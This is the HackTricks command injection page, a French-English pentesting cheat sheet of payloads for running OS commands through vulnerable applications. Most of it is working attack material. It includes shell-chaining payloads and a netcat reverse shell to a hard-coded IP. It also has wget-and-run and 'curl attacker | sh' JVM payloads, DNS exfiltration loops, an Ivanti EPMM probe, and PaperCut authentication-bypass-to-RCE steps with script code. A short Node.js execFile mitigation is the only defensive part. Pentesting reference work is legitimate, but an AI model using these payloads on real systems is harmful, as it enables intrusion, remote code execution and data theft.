Command Injection

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks

Qu’est-ce que command Injection ?

Une command injection permet à un attaquant d’exécuter des commandes arbitraires du système d’exploitation sur le serveur hébergeant une application. En conséquence, l’application et toutes ses données peuvent être entièrement compromises. L’exécution de ces commandes permet généralement à l’attaquant d’obtenir un accès non autorisé ou de prendre le contrôle de l’environnement de l’application et du système sous-jacent.

Contexte

Selon l’endroit où votre input est injecté, vous devrez peut-être terminer le contexte entre guillemets (en utilisant " ou ') avant les commandes.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

PHP rule engines with runkit enabled

Certaines applications implémentent des « moteurs de règles » réservés aux admins en exécutant du PHP fourni par l’attaquant. Si l’environnement active l’extension runkit, un attaquant peut redéfinir ou injecter des fonctions à l’exécution et transformer un éditeur de règles purement logique en RCE PHP complet.

Indicateurs :

  • L’interface d’administration accepte des « règles » de type PHP qui sont évaluées.
  • runkit / runkit7 est chargé (phpinfo() ou extension_loaded('runkit')).

Exemple d’abus (redéfinir une fonction utilisée par les règles pour exécuter une commande) :

<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');

Si le contenu de la règle est stocké et évalué ultérieurement, il devient une primitive RCE persistante dans le contexte web.

Limitation Bypasses

Si vous essayez d’exécuter des commandes arbitraires à l’intérieur d’une machine linux, vous devriez consulter ces Bypasses :

Bypass Linux Restrictions

Exemples

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Évaluation arithmétique Bash dans les scripts RewriteMap/CGI-style

Les RewriteMap helpers écrits en bash poussent parfois des query params dans des globals, puis les comparent plus tard dans des arithmetic contexts ([[ $a -gt $b ]], $((...)), let). L’arithmetic expansion re-tokenizes le contenu, donc les attacker-controlled variable names ou les array references sont étendus deux fois et peuvent s’exécuter.

Pattern seen in Ivanti EPMM RewriteMap helpers:

  1. Les params sont mappés vers des globals (stgStartTime, htheValue).
  2. Later check:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. Envoyer st=theValue pour que gStartTime pointe vers la chaîne theValue.
  2. Envoyer h=gPath['sleep 5'] pour que theValue contienne un array index ; lors de la vérification arithmétique, cela exécute sleep 5 (swap for a real payload).

Probe (~5s delay then 404 if vulnerable):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

Remarques:

  • Cherchez le même helper sous d’autres préfixes (par ex., /mifs/c/aftstore/fob/).
  • Les contextes arithmétiques traitent les tokens inconnus comme des identifiants de variable/tableau, donc cela contourne les filtres simples de métacaractères.

Paramètres

Voici les 25 principaux paramètres susceptibles d’être vulnérables à des attaques de code injection et à des vulnérabilités RCE similaires (d’après link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Extraction de données : caractère par caractère

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

Exfiltration de données via DNS

Basé sur l’outil de https://github.com/HoLyVieR/dnsbin également hébergé sur dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Outils en ligne pour vérifier la data exfiltration basée sur DNS :

  • dnsbin.zhack.ca
  • pingb.in

Contournement du filtrage

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Lors d’audits de back-ends JavaScript/TypeScript, vous rencontrerez souvent l’API Node.js child_process.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() lance un shell (/bin/sh -c), donc tout caractère ayant une signification spéciale pour le shell (back-ticks, ;, &&, |, $(), …) entraînera une command injection lorsque l’entrée utilisateur est concaténée dans la chaîne.

Atténuation : utilisez execFile() (ou spawn() sans l’option shell) et fournissez chaque argument comme un élément séparé du tableau afin qu’aucun shell ne soit impliqué :

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with execve/execFile and no shell), many programs will still parse any argument that begins with - or -- as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.

Typical places where this appears:

  • Embedded web UIs/CGI handlers that build commands like ping <user>, tcpdump -i <iface> -w <file>, curl <url>, etc.
  • Centralized CGI routers (e.g., /cgi-bin/<something>.cgi with a selector parameter like topicurl=<handler>) where multiple handlers reuse the same weak validator.

What to try:

  • Provide values that start with -/-- to be consumed as flags by the downstream tool.
  • Abuse flags that change behavior or write files, for example:
  • ping: -f/-c 100000 to stress the device (DoS)
  • curl: -o /tmp/x to write arbitrary paths, -K <url> to load attacker-controlled config
  • tcpdump: -G 1 -W 1 -z /path/script.sh to achieve post-rotate execution in unsafe wrappers
  • If the program supports -- end-of-options, try to bypass naive mitigations that prepend -- in the wrong place.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM diagnostic callbacks pour exécution garantie

Tout mécanisme permettant d’injecter des arguments de ligne de commande JVM (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) peut être transformé en un RCE fiable sans toucher le bytecode de l’application :

  1. Forcer un crash déterministe en réduisant le metaspace ou le heap : -XX:MaxMetaspaceSize=16m (ou un -Xmx très petit). Cela garantit un OutOfMemoryError même pendant le bootstrap précoce.
  2. Attacher un hook d’erreur : -XX:OnOutOfMemoryError="<cmd>" or -XX:OnError="<cmd>" exécute une commande OS arbitraire chaque fois que la JVM s’arrête.
  3. Optionnellement, ajoutez -XX:+CrashOnOutOfMemoryError pour éviter les tentatives de récupération et conserver le payload en one-shot.

Exemples de payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Parce que ces diagnostics sont parsés par la JVM elle-même, aucun shell metacharacters n’est nécessaire et la commande s’exécute avec le même niveau d’intégrité que le launcher. Desktop IPC bugs qui transmettent des flags JVM fournis par l’utilisateur (voir Localhost WebSocket abuse) se traduisent donc directement en exécution de commandes OS.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • Les builds NG/MF vulnérables (p.ex., 22.0.5 Build 63914) exposent /app?service=page/SetupCompleted ; en y naviguant et en cliquant sur Login on obtient un JSESSIONID valide sans identifiants (contournement d’authentification dans le flux de configuration).
  • Dans Options → Config Editor, réglez print-and-device.script.enabled=Y et print.script.sandboxed=N pour activer le scripting de l’imprimante et désactiver le sandbox.
  • Dans l’onglet Scripting de l’imprimante, activez le script et conservez printJobHook défini pour éviter les erreurs de validation, mais placez la payload outside de la fonction afin qu’elle s’exécute immédiatement lorsque vous cliquez sur Apply (aucun print job nécessaire) :
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • Remplacez le callback par un reverse shell ; si l’UI/PoC ne peut pas gérer les pipes/redirects, stagez un payload contenant une commande, puis exécutez-le (exec) via une seconde requête.
  • Le script Horizon3’s CVE-2023-27350.py automatise l’auth bypass, les config flips, la command execution et le rollback — lancez-le via un proxy upstream (p. ex., proxychains → Squid) lorsque le service n’est accessible qu’en interne.

Brute-Force Detection List

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Références

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks